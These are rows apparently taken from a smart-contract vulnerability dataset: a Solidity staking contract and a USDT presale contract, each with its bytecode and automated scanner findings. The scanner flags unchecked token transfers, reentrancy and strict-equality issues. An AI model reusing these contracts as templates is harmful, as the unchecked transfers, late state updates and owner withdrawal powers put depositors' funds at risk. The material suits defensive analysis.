require(listedToken[_token], "ERR_TOKEN_IS_NOT_LISTED");
ERC20Interface(_token).transferFrom(msg.sender, address(this), _amount);
if (lastStakeClaimed[_token][msg.sender] == 0) {
lastStakeClaimed[_token][msg.sender] = now;
} else {
uint256 _stakeReward = _calculateStake(_token, msg.sender);
lastStakeClaimed[_token][msg.sender] = now;
stakeBalance[_token][msg.sender] = safeAdd(stakeBalance[_token][msg.sender], _stakeReward);
}
totalTokens[_token] = safeAdd(totalTokens[_token], _amount);
stakeBalance[_token][msg.sender] = safeAdd(stakeBalance[_token][msg.sender], _amount);
emit Stake(now, _token, msg.sender, _amount);
return true;
}
/**
* @dev stake token
**/
function unStake(address _token) external returns (bool){
require(listedToken[_token], "ERR_TOKEN_IS_NOT_LISTED");
uint256 userTokenBalance = stakeBalance[_token][msg.sender];
uint256 _stakeReward = _calculateStake(_token, msg.sender);
ERC20Interface(_token).transfer(msg.sender, safeAdd(userTokenBalance, _stakeReward));
emit UnStake(now, _token, msg.sender, safeAdd(userTokenBalance, _stakeReward));
totalTokens[_token] = safeSub(totalTokens[_token], userTokenBalance);
stakeBalance[_token][msg.sender] = 0;
lastStakeClaimed[_token][msg.sender] = 0;
return true;
}
/**
* @dev withdraw token
**/
function withdrawToken(address _token) external returns (bool){
require(listedToken[_token], "ERR_TOKEN_IS_NOT_LISTED");
uint256 userTokenBalance = stakeBalance[_token][msg.sender];
stakeBalance[_token][msg.sender] = 0;
lastStakeClaimed[_token][msg.sender] = 0;
ERC20Interface(_token).transfer(msg.sender, userTokenBalance);
return true;
}
/**
* @dev withdraw token by owner
**/
function withdrawToken(address _token, uint256 _amount) external onlyOwner() returns (bool) {
require(listedToken[_token], "ERR_TOKEN_IS_NOT_LISTED");
require(totalTokens[_token] == 0, "ERR_TOTAL_TOKENS_NEEDS_TO_BE_0_FOR_WITHDRAWL");
ERC20Interface(_token).transfer(msg.sender, _amount);
return true;
}
// we calculate daily basis stake amount
function _calculateStake(address _token, address _whom) internal view returns (uint256) {
uint256 _lastRound = lastStakeClaimed[_token][_whom];
uint256 totalStakeDays = safeDiv(safeSub(now, _lastRound), 86400);
uint256 userTokenBalance = stakeBalance[_token][_whom];
uint256 tokenPercentage = annualMintPercentage[_token];
if (totalStakeDays > 0) {
uint256 stakeAmount = safeDiv(safeMul(safeMul(userTokenBalance, tokenPercentage), totalStakeDays), 3650000);
if (isPayNoder[_token][_whom]) {
if (stakeBalance[_token][_whom] >= tokenMinimumBalance[_token]) {
uint256 extraPayNode = safeDiv(safeMul(safeMul(userTokenBalance, tokenPercentage), tokenExtraMintForPayNodes[_token]), 3650000);
stakeAmount = safeAdd(stakeAmount, extraPayNode);
}
}
return stakeAmount;
}
return 0;
}
// show stake balance with what user get
function balanceOf(address _token, address _whom) external view returns (uint256) {
uint256 _stakeReward = _calculateStake(_token, _whom);
return safeAdd(stakeBalance[_token][_whom], _stakeReward);
}
// show stake balance with what user get
function getOnlyRewards(address _token, address _whom) external view returns (uint256) {
return _calculateStake(_token, _whom);
}
// claim only rewards and withdraw it
function claimRewardsOnlyAndWithDraw(address _token) external returns (bool) {
require(lastStakeClaimed[_token][msg.sender] != 0, "ERR_TOKEN_IS_NOT_STAKED");
uint256 _stakeReward = _calculateStake(_token, msg.sender);
ERC20Interface(_token).transfer(msg.sender, _stakeReward);
lastStakeClaimed[_token][msg.sender] = now;
emit StakeClaimed(now, _token, msg.sender, _stakeReward);
return true;
}
// claim only rewards and restake it
function claimRewardsOnlyAndStake(address _token) external returns (bool) {
require(lastStakeClaimed[_token][msg.sender] != 0, "ERR_TOKEN_IS_NOT_STAKED");
uint256 _stakeReward = _calculateStake(_token, msg.sender);
lastStakeClaimed[_token][msg.sender] = now;
stakeBalance[_token][msg.sender] = safeAdd(stakeBalance[_token][msg.sender], _stakeReward);
emit StakeClaimed(now, _token, msg.sender, _stakeReward);
emit Stake(now, _token, msg.sender, stakeBalance[_token][msg.sender]);
return true;
}
// _percent should be mulitplied by 100
function setAnnualMintPercentage(address _token, uint256 _percent) external onlyOwner() returns (bool) {
require(listedToken[_token], "ERR_TOKEN_IS_NOT_LISTED");
annualMintPercentage[_token] = _percent;
return true;
}
// to add new token
function addToken(address _token) external onlyOwner() {
require(!listedToken[_token], "ERR_TOKEN_ALREADY_EXISTS");
tokens.push(_token);
listedToken[_token] = true;
tokenIndex[_token] = tokens.length;
}
// to remove the token
function removeToken(address _token) external onlyOwner() {
require(listedToken[_token], "ERR_TOKEN_DOESNOT_EXISTS");
uint256 _lastindex = tokenIndex[_token];
address _lastaddress = tokens[safeSub(tokens.length, 1)];
tokenIndex[_lastaddress] = _lastindex;
tokens[_lastindex] = _lastaddress;
tokens.pop();
delete tokenIndex[_lastaddress];
listedToken[_token] = false;
}
function availabletokens() public view returns (uint){
return tokens.length;
}
} | 0x608060405234801561001057600080fd5b50600436106102065760003560e01c80639332cf051161011a578063d3a252c7116100ad578063e185c9191161007c578063e185c91914610672578063ea1780411461069e578063f2fde38b146106ca578063f7888aec146106f0578063fff62b111461071e57610206565b8063d3a252c7146105ea578063d48bfca714610616578063d4ee1d901461063c578063dc5de0ba1461064457610206565b8063a90a3a95116100e9578063a90a3a9514610544578063adc9772e1461056a578063b9f8191814610596578063cb9199a2146105c457610206565b80639332cf051461049e57806395434076146104c45780639a5cbb54146104ea5780639e281a981461051857610206565b80636e74fb421161019d5780637e9d59711161016c5780637e9d5971146103ee578063894760691461041c5780638b328f74146104425780638da5cb5b14610470578063911795091461047857610206565b80636e74fb421461038457806379ba50971461038c5780637b151162146103945780637e1d05e9146103c257610206565b8063427f91a6116101d9578063427f91a6146102cf5780634f64b2be146102f55780635fa7b5841461032e578063657d396c1461035657610206565b80631b9be3de1461020b578063206d734b146102455780632e92a6cb14610271578063387e4948146102a9575b600080fd5b6102316004803603602081101561022157600080fd5b50356001600160a01b0316610744565b604080519115158252519081900360200190f35b6102316004803603604081101561025b57600080fd5b506001600160a01b038135169060200135610759565b6102976004803603602081101561028757600080fd5b50356001600160a01b0316610839565b60408051918252519081900360200190f35b610231600480360360208110156102bf57600080fd5b50356001600160a01b031661084b565b610297600480360360208110156102e557600080fd5b50356001600160a01b0316610a30565b6103126004803603602081101561030b57600080fd5b5035610a42565b604080516001600160a01b039092168252519081900360200190f35b6103546004803603602081101561034457600080fd5b50356001600160a01b0316610a69565b005b6102976004803603604081101561036c57600080fd5b506001600160a01b0381358116916020013516610c54565b610297610c71565b610231610c77565b610231600480360360408110156103aa57600080fd5b506001600160a01b0381358116916020013516610d2e565b610231600480360360408110156103d857600080fd5b506001600160a01b038135169060200135610dbd565b6102316004803603604081101561040457600080fd5b506001600160a01b0381358116916020013516610e5c565b6102316004803603602081101561043257600080fd5b50356001600160a01b0316610e7c565b6102316004803603604081101561045857600080fd5b506001600160a01b0381358116916020013516610f9f565b610312611205565b6102316004803603602081101561048e57600080fd5b50356001600160a01b0316611214565b610297600480360360208110156104b457600080fd5b50356001600160a01b031661139a565b610297600480360360208110156104da57600080fd5b50356001600160a01b03166113ac565b6102976004803603604081101561050057600080fd5b506001600160a01b03813581169160200135166113be565b6102316004803603604081101561052e57600080fd5b506001600160a01b0381351690602001356113db565b6102976004803603602081101561055a57600080fd5b50356001600160a01b0316611564565b6102316004803603604081101561058057600080fd5b506001600160a01b038135169060200135611576565b610297600480360360408110156105ac57600080fd5b506001600160a01b03813581169160200135166117ed565b610297600480360360208110156105da57600080fd5b50356001600160a01b03166117f9565b6102316004803603604081101561060057600080fd5b506001600160a01b03813516906020013561180b565b6103546004803603602081101561062c57600080fd5b50356001600160a01b03166118aa565b610312611a0b565b6102976004803603604081101561065a57600080fd5b506001600160a01b0381358116916020013516611a1a565b6102316004803603604081101561068857600080fd5b506001600160a01b038135169060200135611a37565b610312600480360360408110156106b457600080fd5b506001600160a01b038135169060200135611b3d565b610354600480360360208110156106e057600080fd5b50356001600160a01b0316611b72565b6102976004803603604081101561070657600080fd5b506001600160a01b0381358116916020013516611c91565b6102316004803603602081101561073457600080fd5b50356001600160a01b0316611cd9565b60026020526000908152604090205460ff1681565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b031633146108135760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107d85781810151838201526020016107c0565b50505050905090810190601f1680156108055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50506001600160a01b0382166000908152600e6020526040902081905560015b92915050565b60086020526000908152604090205481565b6001600160a01b03811660009081526002602052604081205460ff166108b2576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d31254d51151604a1b604482015290519081900360640190fd5b6001600160a01b038216600090815260056020908152604080832033808552925282205491906108e3908590611e41565b9050836001600160a01b031663a9059cbb336108ff8585611f9e565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561094557600080fd5b505af1158015610959573d6000803e3d6000fd5b505050506040513d602081101561096f57600080fd5b503390506001600160a01b038516427fc544f856c32130d17b1c425626be0a3f8d4d0d4dbd9dc7522f3e210ca8f733e16109a98686611f9e565b60408051918252519081900360200190a46001600160a01b0384166000908152600760205260409020546109dd9083611ff8565b6001600160a01b0385166000818152600760209081526040808320949094556005815283822033808452908252848320839055928252600681528382209282529190915290812055506001915050919050565b60046020526000908152604090205481565b60038181548110610a4f57fe5b6000918252602090912001546001600160a01b0316905081565b60005460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b03163314610ae55760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b506001600160a01b03811660009081526002602052604090205460ff16610b53576040805162461bcd60e51b815260206004820152601860248201527f4552525f544f4b454e5f444f45534e4f545f4558495354530000000000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604081205460038054919291610b7e906001611ff8565b81548110610b8857fe5b60009182526020808320909101546001600160a01b03168083526004909152604090912083905560038054919250829184908110610bc257fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506003805480610bfb57fe5b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b039283168252600481526040808320839055949092168152600290915291909120805460ff1916905550565b600560209081526000928352604080842090915290825290205481565b60035490565b6001546000906001600160a01b03163314610cce576040805162461bcd60e51b815260206004820152601260248201527122a9292fa7a7262cafa722abafa7aba722a960711b604482015290519081900360640190fd5b600154600080546001600160a01b0319166001600160a01b03928316908117808355604051919316917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350600180546001600160a01b031916815590565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b03163314610dab5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b50610db6838361203a565b9392505050565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b03163314610e3a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b50506001600160a01b03919091166000908152600c6020526040902055600190565b600a60209081526000928352604080842090915290825290205460ff1681565b6001600160a01b03811660009081526002602052604081205460ff16610ee3576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d31254d51151604a1b604482015290519081900360640190fd5b6001600160a01b038216600081815260056020908152604080832033808552908352818420805490859055858552600684528285208286528452828520859055825163a9059cbb60e01b8152600481019290925260248201819052915191949363a9059cbb9360448084019491939192918390030190829087803b158015610f6a57600080fd5b505af1158015610f7e573d6000803e3d6000fd5b505050506040513d6020811015610f9457600080fd5b506001949350505050565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b0316331461101c5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b506001600160a01b038084166000908152600a602090815260408083209386168352929052205460ff1615611098576040805162461bcd60e51b815260206004820152601b60248201527f4552525f414c52454144595f494e5f5041594e4f44455f4c4953540000000000604482015290519081900360640190fd5b6001600160a01b0383166000908152600c602090815260408083205460099092529091205410611107576040805162461bcd60e51b815260206004820152601560248201527411549497d410565393d11157d31254d517d1955313605a1b604482015290519081900360640190fd5b6001600160a01b038084166000908152600d602090815260408083205460058352818420948716845293909152902054101561118a576040805162461bcd60e51b815260206004820152601b60248201527f4552525f5041594e4f44455f4d494e494d554d5f42414c414e43450000000000604482015290519081900360640190fd5b506001600160a01b038083166000818152600a60209081526040808320948616808452948252808320805460ff1916600190811790915593835260098083528184208054600b855283862088875285529285208390559083528185018155835291200180546001600160a01b03191690921790915592915050565b6000546001600160a01b031681565b6001600160a01b0381166000908152600660209081526040808320338452909152812054611283576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d4d51052d151604a1b604482015290519081900360640190fd5b600061128f8333611e41565b6001600160a01b0384166000818152600660209081526040808320338085529083528184204290559383526005825280832093835292905220549091506112d69082611f9e565b6001600160a01b038416600081815260056020908152604080832033808552908352928190209490945583518581529351919342927f401af6acaf4dfd2ab7650e060f96cf76f6a51fd9d42102601e60fdacd4eacff2929181900390910190a46001600160a01b03831660008181526005602090815260408083203380855290835292819020548151908152905192939242927ff7373f56c201647feae85a62d3cf56286ed3a43d20c5eb7f9883d6ea690ef7c0928290030190a450600192915050565b600c6020526000908152604090205481565b600e6020526000908152604090205481565b600660209081526000928352604080842090915290825290205481565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b031633146114585760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b506001600160a01b03831660009081526002602052604090205460ff166114c0576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d31254d51151604a1b604482015290519081900360640190fd5b6001600160a01b038316600090815260076020526040902054156115155760405162461bcd60e51b815260040180806020018281038252602c81526020018061236a602c913960400191505060405180910390fd5b6040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b0385169163a9059cbb9160448083019260209291908290030181600087803b158015610f6a57600080fd5b600d6020526000908152604090205481565b6001600160a01b03821660009081526002602052604081205460ff166115dd576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d31254d51151604a1b604482015290519081900360640190fd5b604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b038516916323b872dd9160648083019260209291908290030181600087803b15801561163257600080fd5b505af1158015611646573d6000803e3d6000fd5b505050506040513d602081101561165c57600080fd5b50506001600160a01b03831660009081526006602090815260408083203384529091529020546116b1576001600160a01b0383166000908152600660209081526040808320338452909152902042905561172a565b60006116bd8433611e41565b6001600160a01b0385166000818152600660209081526040808320338085529083528184204290559383526005825280832093835292905220549091506117049082611f9e565b6001600160a01b0385166000908152600560209081526040808320338452909152902055505b6001600160a01b03831660009081526007602052604090205461174d9083611f9e565b6001600160a01b03841660009081526007602090815260408083209390935560058152828220338352905220546117849083611f9e565b6001600160a01b038416600081815260056020908152604080832033808552908352928190209490945583518681529351919342927ff7373f56c201647feae85a62d3cf56286ed3a43d20c5eb7f9883d6ea690ef7c0929181900390910190a450600192915050565b6000610db68383611e41565b60076020526000908152604090205481565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b031633146118885760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b50506001600160a01b03919091166000908152600d6020526040902055600190565b60005460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b031633146119265760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b506001600160a01b03811660009081526002602052604090205460ff1615611995576040805162461bcd60e51b815260206004820152601860248201527f4552525f544f4b454e5f414c52454144595f4558495354530000000000000000604482015290519081900360640190fd5b60038054600181810183557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90910180546001600160a01b039094166001600160a01b0319909416841790556000928352600260209081526040808520805460ff19169093179092559154600490925290912055565b6001546001600160a01b031681565b600b60209081526000928352604080842090915290825290205481565b6000805460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b03163314611ab45760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b506001600160a01b03831660009081526002602052604090205460ff16611b1c576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d31254d51151604a1b604482015290519081900360640190fd5b506001600160a01b0391909116600090815260086020526040902055600190565b60096020528160005260406000208181548110611b5657fe5b6000918252602090912001546001600160a01b03169150829050565b60408051808201909152601081526f4552525f5a45524f5f4144445245535360801b602082015281906001600160a01b038216611bf05760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b5060005460408051808201909152601b815260008051602061234a8339815191526020820152906001600160a01b03163314611c6d5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b5050600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080611c9e8484611e41565b6001600160a01b03808616600090815260056020908152604080832093881683529290522054909150611cd19082611f9e565b949350505050565b6001600160a01b0381166000908152600660209081526040808320338452909152812054611d48576040805162461bcd60e51b815260206004820152601760248201527611549497d513d2d15397d254d7d393d517d4d51052d151604a1b604482015290519081900360640190fd5b6000611d548333611e41565b9050826001600160a01b031663a9059cbb33836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611dad57600080fd5b505af1158015611dc1573d6000803e3d6000fd5b505050506040513d6020811015611dd757600080fd5b50506001600160a01b0383166000818152600660209081526040808320338085529083529281902042908190558151868152915193949390927f401af6acaf4dfd2ab7650e060f96cf76f6a51fd9d42102601e60fdacd4eacff2928290030190a450600192915050565b6001600160a01b03808316600090815260066020908152604080832093851683529290529081205481611e80611e774284611ff8565b620151806121ce565b6001600160a01b038087166000818152600560209081526040808320948a16835293815283822054928252600890529190912054919250908215611f91576000611edf611ed6611ed08585612210565b86612210565b6237b1d06121ce565b6001600160a01b03808a166000908152600a60209081526040808320938c168352929052205490915060ff1615611f85576001600160a01b038089166000908152600d602090815260408083205460058352818420948c1684529390915290205410611f85576000611f75611ed6611f578686612210565b6001600160a01b038c166000908152600e6020526040902054612210565b9050611f818282611f9e565b9150505b94506108339350505050565b5060009695505050505050565b600082820183811015610db6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610db683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612269565b6001600160a01b038083166000908152600a6020908152604080832093851683529290529081205460ff166120aa576040805162461bcd60e51b815260206004820152601160248201527022a9292fa7a7262cafa820aca727a222a960791b604482015290519081900360640190fd5b6001600160a01b038084166000818152600b602090815260408083209487168352938152838220549282526009905291822080549192916120ec906001611ff8565b815481106120f657fe5b60009182526020808320909101546001600160a01b0388811684526009909252604090922080549190921692508291908490811061213057fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055878316808352600b8252604080842086861685528352808420879055818452600a83528084209489168452938252838320805460ff19169055825260099052208054806121a157fe5b600082815260209020600019908201810180546001600160a01b0319169055019055506001949350505050565b6000610db683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122c3565b60008261221f57506000610833565b8282028284828161222c57fe5b0414610db65760405162461bcd60e51b81526004018080602001828103825260218152602001806123296021913960400191505060405180910390fd5b600081848411156122bb5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b505050900390565b600081836123125760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156107d85781810151838201526020016107c0565b50600083858161231e57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774552525f415554484f52495a45445f414444524553535f4f4e4c5900000000004552525f544f54414c5f544f4b454e535f4e454544535f544f5f42455f305f464f525f57495448445241574ca26469706673582212209f9738484aadc22a59270bdf044023531f32087f20c326d71a68d6dbc559495a64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 148 |
0x858720bc3a3a8b15590d3477f334b76cd2d1ecda | /**
*Submitted for verification at Etherscan.io on 2021-03-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
contract Launchpad is Ownable {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
// address public owner;
uint256 public rate;
uint256 public allowedUserBalance;
bool public presaleOver;
IERC20 public usdt;
mapping(address => uint256) public claimable;
uint256 public hardcap;
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) public {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = true;
// owner = msg.sender;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "The presale is not over");
_;
}
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
function buyTokenWithUSDT(uint256 _amount) external {
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "presale is over you cannot buy now");
uint256 tokensPurchased = _amount.mul(rate);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
// usdt.transferFrom(msg.sender, address(this), _amount);
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
emit ClaimableAmount(msg.sender, tokensPurchased);
}
// function claim() external isPresaleOver {
// // it checks for user msg.sender claimable amount and transfer them to msg.sender
// require(claimable[msg.sender] > 0, "NO tokens left to be claim");
// usdc.transfer(msg.sender, claimable[msg.sender]);
// claimable[msg.sender] = 0;
// }
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
// claimable[owner] = claimable[owner].sub(_value);
// usdt.transfer(_msgSender(), _value);
doTransferOut(address(usdt), _msgSender(), _value);
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a146102ac578063c8d8b6fa146102da578063e3b8686514610308578063f2fde38b14610336576100f5565b8063715018a6146102305780638da5cb5b1461023a578063a43be57b1461026e578063b071cbe61461028e576100f5565b80632f48ab7d116100d35780632f48ab7d14610166578063402914f51461019a5780634738a883146101f257806359ccecc914610212576100f5565b806304c98b2b146100fa57806324f32f821461011a5780632c4e722e14610148575b600080fd5b61010261037a565b60405180821515815260200191505060405180910390f35b6101466004803603602081101561013057600080fd5b8101908080359060200190929190505050610474565b005b610150610546565b6040518082815260200191505060405180910390f35b61016e61054c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101dc600480360360208110156101b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610572565b6040518082815260200191505060405180910390f35b6101fa61058a565b60405180821515815260200191505060405180910390f35b61021a61059d565b6040518082815260200191505060405180910390f35b6102386105a3565b005b610242610729565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610276610752565b60405180821515815260200191505060405180910390f35b61029661084c565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b8101908080359060200190929190505050610852565b005b610306600480360360208110156102f057600080fd5b8101908080359060200190929190505050610bd2565b005b6103346004803603602081101561031e57600080fd5b8101908080359060200190929190505050610d5a565b005b6103786004803603602081101561034c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2c565b005b6000610384611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b61047c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a0000000000000000000000000000000000000000000000000000000